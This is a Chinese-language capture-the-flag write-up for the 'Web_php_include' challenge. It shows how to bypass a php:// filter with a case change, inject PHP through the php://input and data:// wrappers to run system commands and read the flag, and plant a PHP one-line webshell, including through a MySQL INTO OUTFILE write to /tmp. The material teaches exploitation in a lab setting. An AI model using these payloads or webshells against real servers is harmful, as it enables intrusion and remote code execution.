提示:如有问题可联系我,本人24小时在线!
文章目录
前言
提示:攻防世界Web_php_include
一、题目
没有提示,那就看题目
二、解决方法
1.什么意思?
解读一下
程序过滤掉了page=参数传入php://
怎么绕过过滤呢?
方法1 大小写绕过:php://input 伪协议
使用hackbar和burpsuit抓包。post传参
hackbar抓包
post传参,我试了一下不太行。
于是用burpsuit传参。
page=<?php system('ls'); ?> #列出所有文件
page=<?php system('cat fl4gisisish3r3.php'); ?> #打开flag文件
得到答案:
$flag=" ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}
";
方法2 使用data://伪协议
data://伪协议可以执行php代码,格式如下:
data://text/plain,要执行的代码
如果特殊字符被过滤,还可以使用base64编码
?page=data://text/plain;base64,编码后的代码
看看
http://61.147.171.105:56947/?page=data://text/plain,<?php system('ls'); ?>
?page=data://text/plain,page=<?php system('cat fl4gisisish3r3.php'); ?>
亦或
写一句话木马![
<?php @eval($_POST['123']); ?>
方法3 建议学习,我自己找出来的方法
习惯性用御剑看看后台目录
感觉有点东西啊
打开phpinfo.php看看,没啥
再打开phpmyadmin看看
???厉害不,登录页面。
进去看看就可以了,没找到数据。虚惊一场。
有兴趣可以自己试试
数据库执行这条命令查看secure_file_priv是否为空,为空则可以写数据 如果是null不能写
SHOW VARIABLES LIKE “secure_file_priv”
linux默认tmp是可写目录 试试写入一句话马 菜刀连接
SELECT “<?php eval(@$_POST['xiaohua']); ?>”
INTO OUTFILE ‘/tmp/test1.php’